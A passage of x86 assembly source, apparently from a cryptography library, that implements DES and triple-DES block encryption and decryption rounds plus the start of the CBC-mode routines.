edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 7 mov eax,DWORD [56+ecx] xor ebx,ebx mov edx,DWORD [60+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] ; Round 8 mov eax,DWORD [64+ecx] xor ebx,ebx mov edx,DWORD [68+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 9 mov eax,DWORD [72+ecx] xor ebx,ebx mov edx,DWORD [76+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] ; Round 10 mov eax,DWORD [80+ecx] xor ebx,ebx mov edx,DWORD [84+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 11 mov eax,DWORD [88+ecx] xor ebx,ebx mov edx,DWORD [92+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] ; Round 12 mov eax,DWORD [96+ecx] xor ebx,ebx mov edx,DWORD [100+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 13 mov eax,DWORD [104+ecx] xor ebx,ebx mov edx,DWORD [108+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] ; Round 14 mov eax,DWORD [112+ecx] xor ebx,ebx mov edx,DWORD [116+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 15 mov eax,DWORD [120+ecx] xor ebx,ebx mov edx,DWORD [124+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] add esp,4 ret align 16 __x86_DES_decrypt: push ecx ; Round 15 mov eax,DWORD [120+ecx] xor ebx,ebx mov edx,DWORD [124+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 14 mov eax,DWORD [112+ecx] xor ebx,ebx mov edx,DWORD [116+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] ; Round 13 mov eax,DWORD [104+ecx] xor ebx,ebx mov edx,DWORD [108+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 12 mov eax,DWORD [96+ecx] xor ebx,ebx mov edx,DWORD [100+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] ; Round 11 mov eax,DWORD [88+ecx] xor ebx,ebx mov edx,DWORD [92+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 10 mov eax,DWORD [80+ecx] xor ebx,ebx mov edx,DWORD [84+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] ; Round 9 mov eax,DWORD [72+ecx] xor ebx,ebx mov edx,DWORD [76+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 8 mov eax,DWORD [64+ecx] xor ebx,ebx mov edx,DWORD [68+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] ; Round 7 mov eax,DWORD [56+ecx] xor ebx,ebx mov edx,DWORD [60+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 6 mov eax,DWORD [48+ecx] xor ebx,ebx mov edx,DWORD [52+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] ; Round 5 mov eax,DWORD [40+ecx] xor ebx,ebx mov edx,DWORD [44+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 4 mov eax,DWORD [32+ecx] xor ebx,ebx mov edx,DWORD [36+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] ; Round 3 mov eax,DWORD [24+ecx] xor ebx,ebx mov edx,DWORD [28+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 2 mov eax,DWORD [16+ecx] xor ebx,ebx mov edx,DWORD [20+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] ; Round 1 mov eax,DWORD [8+ecx] xor ebx,ebx mov edx,DWORD [12+ecx] xor eax,esi xor ecx,ecx xor edx,esi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor edi,DWORD [ebx*1+ebp] mov bl,dl xor edi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor edi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor edi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor edi,DWORD [0x600+ebx*1+ebp] xor edi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor edi,DWORD [0x400+eax*1+ebp] xor edi,DWORD [0x500+edx*1+ebp] ; Round 0 mov eax,DWORD [ecx] xor ebx,ebx mov edx,DWORD [4+ecx] xor eax,edi xor ecx,ecx xor edx,edi and eax,0xfcfcfcfc and edx,0xcfcfcfcf mov bl,al mov cl,ah ror edx,4 xor esi,DWORD [ebx*1+ebp] mov bl,dl xor esi,DWORD [0x200+ecx*1+ebp] mov cl,dh shr eax,16 xor esi,DWORD [0x100+ebx*1+ebp] mov bl,ah shr edx,16 xor esi,DWORD [0x300+ecx*1+ebp] mov cl,dh and eax,0xff and edx,0xff xor esi,DWORD [0x600+ebx*1+ebp] xor esi,DWORD [0x700+ecx*1+ebp] mov ecx,DWORD [esp] xor esi,DWORD [0x400+eax*1+ebp] xor esi,DWORD [0x500+edx*1+ebp] add esp,4 ret global _DES_encrypt1 align 16 _DES_encrypt1: L$_DES_encrypt1_begin: push esi push edi ; ; Load the 2 words mov esi,DWORD [12+esp] xor ecx,ecx push ebx push ebp mov eax,DWORD [esi] mov ebx,DWORD [28+esp] mov edi,DWORD [4+esi] ; ; IP rol eax,4 mov esi,eax xor eax,edi and eax,0xf0f0f0f0 xor esi,eax xor edi,eax ; rol edi,20 mov eax,edi xor edi,esi and edi,0xfff0000f xor eax,edi xor esi,edi ; rol eax,14 mov edi,eax xor eax,esi and eax,0x33333333 xor edi,eax xor esi,eax ; rol esi,22 mov eax,esi xor esi,edi and esi,0x03fc03fc xor eax,esi xor edi,esi ; rol eax,9 mov esi,eax xor eax,edi and eax,0xaaaaaaaa xor esi,eax xor edi,eax ; rol edi,1 call L$000pic_point L$000pic_point: pop ebp lea ebp,[(L$des_sptrans-L$000pic_point)+ebp] mov ecx,DWORD [24+esp] cmp ebx,0 je NEAR L$001decrypt call __x86_DES_encrypt jmp NEAR L$002done L$001decrypt: call __x86_DES_decrypt L$002done: ; ; FP mov edx,DWORD [20+esp] ror esi,1 mov eax,edi xor edi,esi and edi,0xaaaaaaaa xor eax,edi xor esi,edi ; rol eax,23 mov edi,eax xor eax,esi and eax,0x03fc03fc xor edi,eax xor esi,eax ; rol edi,10 mov eax,edi xor edi,esi and edi,0x33333333 xor eax,edi xor esi,edi ; rol esi,18 mov edi,esi xor esi,eax and esi,0xfff0000f xor edi,esi xor eax,esi ; rol edi,12 mov esi,edi xor edi,eax and edi,0xf0f0f0f0 xor esi,edi xor eax,edi ; ror eax,4 mov DWORD [edx],eax mov DWORD [4+edx],esi pop ebp pop ebx pop edi pop esi ret global _DES_encrypt2 align 16 _DES_encrypt2: L$_DES_encrypt2_begin: push esi push edi ; ; Load the 2 words mov eax,DWORD [12+esp] xor ecx,ecx push ebx push ebp mov esi,DWORD [eax] mov ebx,DWORD [28+esp] rol esi,3 mov edi,DWORD [4+eax] rol edi,3 call L$003pic_point L$003pic_point: pop ebp lea ebp,[(L$des_sptrans-L$003pic_point)+ebp] mov ecx,DWORD [24+esp] cmp ebx,0 je NEAR L$004decrypt call __x86_DES_encrypt jmp NEAR L$005done L$004decrypt: call __x86_DES_decrypt L$005done: ; ; Fixup ror edi,3 mov eax,DWORD [20+esp] ror esi,3 mov DWORD [eax],edi mov DWORD [4+eax],esi pop ebp pop ebx pop edi pop esi ret global _DES_encrypt3 align 16 _DES_encrypt3: L$_DES_encrypt3_begin: push ebx mov ebx,DWORD [8+esp] push ebp push esi push edi ; ; Load the data words mov edi,DWORD [ebx] mov esi,DWORD [4+ebx] sub esp,12 ; ; IP rol edi,4 mov edx,edi xor edi,esi and edi,0xf0f0f0f0 xor edx,edi xor esi,edi ; rol esi,20 mov edi,esi xor esi,edx and esi,0xfff0000f xor edi,esi xor edx,esi ; rol edi,14 mov esi,edi xor edi,edx and edi,0x33333333 xor esi,edi xor edx,edi ; rol edx,22 mov edi,edx xor edx,esi and edx,0x03fc03fc xor edi,edx xor esi,edx ; rol edi,9 mov edx,edi xor edi,esi and edi,0xaaaaaaaa xor edx,edi xor esi,edi ; ror edx,3 ror esi,2 mov DWORD [4+ebx],esi mov eax,DWORD [36+esp] mov DWORD [ebx],edx mov edi,DWORD [40+esp] mov esi,DWORD [44+esp] mov DWORD [8+esp],DWORD 1 mov DWORD [4+esp],eax mov DWORD [esp],ebx call L$_DES_encrypt2_begin mov DWORD [8+esp],DWORD 0 mov DWORD [4+esp],edi mov DWORD [esp],ebx call L$_DES_encrypt2_begin mov DWORD [8+esp],DWORD 1 mov DWORD [4+esp],esi mov DWORD [esp],ebx call L$_DES_encrypt2_begin add esp,12 mov edi,DWORD [ebx] mov esi,DWORD [4+ebx] ; ; FP rol esi,2 rol edi,3 mov eax,edi xor edi,esi and edi,0xaaaaaaaa xor eax,edi xor esi,edi ; rol eax,23 mov edi,eax xor eax,esi and eax,0x03fc03fc xor edi,eax xor esi,eax ; rol edi,10 mov eax,edi xor edi,esi and edi,0x33333333 xor eax,edi xor esi,edi ; rol esi,18 mov edi,esi xor esi,eax and esi,0xfff0000f xor edi,esi xor eax,esi ; rol edi,12 mov esi,edi xor edi,eax and edi,0xf0f0f0f0 xor esi,edi xor eax,edi ; ror eax,4 mov DWORD [ebx],eax mov DWORD [4+ebx],esi pop edi pop esi pop ebp pop ebx ret global _DES_decrypt3 align 16 _DES_decrypt3: L$_DES_decrypt3_begin: push ebx mov ebx,DWORD [8+esp] push ebp push esi push edi ; ; Load the data words mov edi,DWORD [ebx] mov esi,DWORD [4+ebx] sub esp,12 ; ; IP rol edi,4 mov edx,edi xor edi,esi and edi,0xf0f0f0f0 xor edx,edi xor esi,edi ; rol esi,20 mov edi,esi xor esi,edx and esi,0xfff0000f xor edi,esi xor edx,esi ; rol edi,14 mov esi,edi xor edi,edx and edi,0x33333333 xor esi,edi xor edx,edi ; rol edx,22 mov edi,edx xor edx,esi and edx,0x03fc03fc xor edi,edx xor esi,edx ; rol edi,9 mov edx,edi xor edi,esi and edi,0xaaaaaaaa xor edx,edi xor esi,edi ; ror edx,3 ror esi,2 mov DWORD [4+ebx],esi mov esi,DWORD [36+esp] mov DWORD [ebx],edx mov edi,DWORD [40+esp] mov eax,DWORD [44+esp] mov DWORD [8+esp],DWORD 0 mov DWORD [4+esp],eax mov DWORD [esp],ebx call L$_DES_encrypt2_begin mov DWORD [8+esp],DWORD 1 mov DWORD [4+esp],edi mov DWORD [esp],ebx call L$_DES_encrypt2_begin mov DWORD [8+esp],DWORD 0 mov DWORD [4+esp],esi mov DWORD [esp],ebx call L$_DES_encrypt2_begin add esp,12 mov edi,DWORD [ebx] mov esi,DWORD [4+ebx] ; ; FP rol esi,2 rol edi,3 mov eax,edi xor edi,esi and edi,0xaaaaaaaa xor eax,edi xor esi,edi ; rol eax,23 mov edi,eax xor eax,esi and eax,0x03fc03fc xor edi,eax xor esi,eax ; rol edi,10 mov eax,edi xor edi,esi and edi,0x33333333 xor eax,edi xor esi,edi ; rol esi,18 mov edi,esi xor esi,eax and esi,0xfff0000f xor edi,esi xor eax,esi ; rol edi,12 mov esi,edi xor edi,eax and edi,0xf0f0f0f0 xor esi,edi xor eax,edi ; ror eax,4 mov DWORD [ebx],eax mov DWORD [4+ebx],esi pop edi pop esi pop ebp pop ebx ret global _DES_ncbc_encrypt align 16 _DES_ncbc_encrypt: L$_DES_ncbc_encrypt_begin: ; push ebp push ebx push esi push edi mov ebp,DWORD [28+esp] ; getting iv ptr from parameter 4 mov ebx,DWORD [36+esp] mov esi,DWORD [ebx] mov edi,DWORD [4+ebx] push edi push esi push edi push esi mov ebx,esp mov esi,DWORD [36+esp] mov edi,DWORD [40+esp] ; getting encrypt flag from parameter 5 mov ecx,DWORD [56+esp] ; get and push parameter 5 push ecx ; get and push parameter 3 mov eax,DWORD [52+esp] push eax push ebx cmp ecx,0 jz NEAR L$006decrypt and ebp,4294967288 mov eax,DWORD [12+esp] mov ebx,DWORD [16+esp] jz NEAR L$007encrypt_finish L$008encrypt_loop: mov ecx,DWORD [esi] mov edx,DWORD [4+esi] xor eax,ecx xor ebx,edx mov DWORD [12+esp],eax mov DWORD [16+esp],ebx call L$_DES_encrypt1_begin mov eax,DWORD [12+esp] mov ebx,DWORD [16+esp] mov DWORD [edi],eax mov DWORD [4+edi],ebx add esi,8 add edi,8 sub ebp,8 jnz NEAR L$008encrypt_loop L$007encrypt_finish: mov ebp,DWORD [56+esp] and ebp,7 jz NEAR L$009finish call L$010PIC_point L$010PIC_point: pop edx lea ecx,[(L$011cbc_enc_jmp_table-L$010PIC_point)+edx] mov ebp,DWORD [ebp*4+ecx] add ebp,edx xor ecx,ecx xor edx,edx jmp ebp L$012ej7: mov dh,BYTE [6+esi] shl edx,8 L$013ej6: mov dh,BYTE [5+esi] L$014ej5: mov dl,BYTE [4+esi] L$015ej4: mov ecx,DWORD [esi] jmp NEAR L$016ejend L$017ej3: mov ch,BYTE [2+esi] shl ecx,8 L$018ej2: mov ch,BYTE [1+esi] L$019ej1: mov cl,BYTE [esi] L$016ejend: xor eax,ecx xor ebx,edx mov DWORD [12+esp],eax mov DWORD [16+esp],ebx call L$_DES_encrypt1_begin mov eax,DWORD [12+esp] mov ebx,DWORD [16+esp] mov DWORD [edi],eax mov DWORD [4+edi],ebx jmp NEAR L$009finish L$006decrypt: and ebp,4294967288 mov eax,DWORD [20+esp] mov ebx,DWORD [24+esp] jz NEAR L$020decrypt_finish L$021decrypt_loop: mov eax,DWORD [esi] mov ebx,DWORD [4+esi] mov DWORD [12+esp],eax mov DWORD [16+esp],ebx call L$_DES_encrypt1_begin mov eax,DWORD [12+esp] mov ebx,DWORD [16+esp] mov ecx,DWORD [20+esp] mov edx,DWORD [24+esp] xor ecx,eax xor edx,ebx mov eax,DWORD [esi] mov ebx,DWORD [4+esi] mov DWORD [edi],ecx mov DWORD [4+edi],edx mov DWORD [20+esp],eax mov DWORD [24+esp],ebx add esi,8 add edi,8 sub ebp,8 jnz NEAR L$021decrypt_loop L$020decrypt_finish: mov ebp,DWORD [56+esp] and ebp,7 jz NEAR L$009finish mov eax,DWORD [esi] mov ebx,DWORD [4+esi] mov DWORD [12+esp],eax mov DWORD [16+esp],ebx call L$_DES_encrypt1_begin mov eax,DWORD [12+esp] mov ebx,DWORD [16+esp] mov ecx,DWORD [20+esp] mov edx,DWORD [24+esp] xor ecx,eax xor edx,ebx mov eax,DWORD [esi] mov ebx,DWORD [4+esi] L$022dj7: ror edx,16 mov BYTE [6+edi],dl shr edx,16 L$023dj6: mov BYTE [5+edi],dh L$024dj5: mov BYTE [4+edi],dl L$025dj4: mov DWORD [edi],ecx jmp NEAR L$026djend L$027dj3: ror ecx,16 mov BYTE [2+edi],cl shl ecx,16 L$028dj2: mov BYTE [1+esi],ch L$029dj1: mov BYTE [esi],cl L$026djend: jmp NEAR L$009finish L$009finish: mov ecx,DWORD [64+esp] add esp,28 mov DWORD [ecx],eax mov DWORD [4+ecx],ebx pop edi pop esi pop ebx pop ebp ret align 64 L$011cbc_enc_jmp_table: dd 0 dd L$019ej1-L$010PIC_point dd L$018ej2-L$010PIC_point dd L$017ej3-L$010PIC_point dd L$015ej4-L$010PIC_point dd L$014ej5-L$010PIC_point dd L$013ej6-L$010PIC_point dd L$012ej7-L$010PIC_point align 64 global _DES_ede3_cbc_encrypt align 16 _DES_ede3_cbc_encrypt: L$_DES_ede3_cbc_encrypt_begin: ; push ebp push ebx push esi push edi mov ebp,DWORD [28+esp] ; getting iv ptr from parameter 6 mov 